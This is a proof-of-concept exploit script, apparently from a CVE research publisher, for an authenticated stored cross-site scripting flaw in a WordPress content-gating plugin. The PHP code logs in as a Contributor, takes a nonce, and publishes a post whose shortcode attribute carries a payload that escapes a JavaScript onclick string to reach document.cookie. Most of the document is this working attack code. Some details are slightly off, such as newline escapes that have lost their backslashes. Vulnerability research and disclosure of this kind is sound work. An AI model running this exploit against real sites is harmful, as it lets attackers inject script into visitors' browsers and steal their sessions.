CVE-2026-4279: Bread & Butter: Content Gating for Verified Leads <= 8.2.0.25 – Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes (bread-butter)

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4279 - Bread & Butter: Content Gating for Verified Leads <= 8.2.0.25 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes

/**
 * This PoC demonstrates exploitation of CVE-2026-4279.
 * Assumptions:
 * - The target WordPress site has the vulnerable Bread & Butter plugin installed (<= 8.2.0.25)
 * - An attacker account with Contributor-level access exists
 * - The victim will view the injected post and click the button
 * - WordPress AJAX login is available or cookie-based authentication is used
 */

// Configuration
$target_url = 'https://example.com'; // Change this to the target WordPress site
$username = 'attacker'; // WordPress username with Contributor+ role
$password = 'attacker_password'; // Corresponding password

// Malicious payload: Break out of JavaScript string context in the onclick attribute
// The 'event' attribute is injected into: onclick="sendCustomEvent('{EVENT_VALUE}', ...)"
$payload = "test';alert(document.cookie);//";

// Step 1: Authenticate and obtain cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);
if (curl_error($ch)) {
    die('Login failed: ' . curl_error($ch) . "n");
}

// Step 2: Get a nonce for post creation
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HEADER, true);
$editor_response = curl_exec($ch);

// Extract nonce from the response (simplified - real implementation would parse HTML)
preg_match('/wp-nonce-attr[^>]+value="([^"]+)"/', $editor_response, $matches);
$nonce = isset($matches[1]) ? $matches[1] : '';

// Step 3: Create a new post with the malicious shortcode
$post_content = 'This is a test post with malicious button: [breadbutter-customevent-button event="' . $payload . '" label="Click me"]';

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'post_title' => 'XSS Test Post',
    'content' => $post_content,
    'post_status' => 'publish',
    'post_type' => 'post',
    '_wpnonce' => $nonce,
    'action' => 'editpost'
]));
curl_setopt($ch, CURLOPT_HEADER, true);
$post_response = curl_exec($ch);

// Extract the new post URL from redirect
preg_match('/Location: ([^n]+)/', $post_response, $redirect_matches);
$new_post_url = isset($redirect_matches[1]) ? trim($redirect_matches[1]) : '';
echo "Post created at: $new_post_urln";
echo "Payload injected: $payloadn";
echo "Victim must click the button to trigger XSS.n";

curl_close($ch);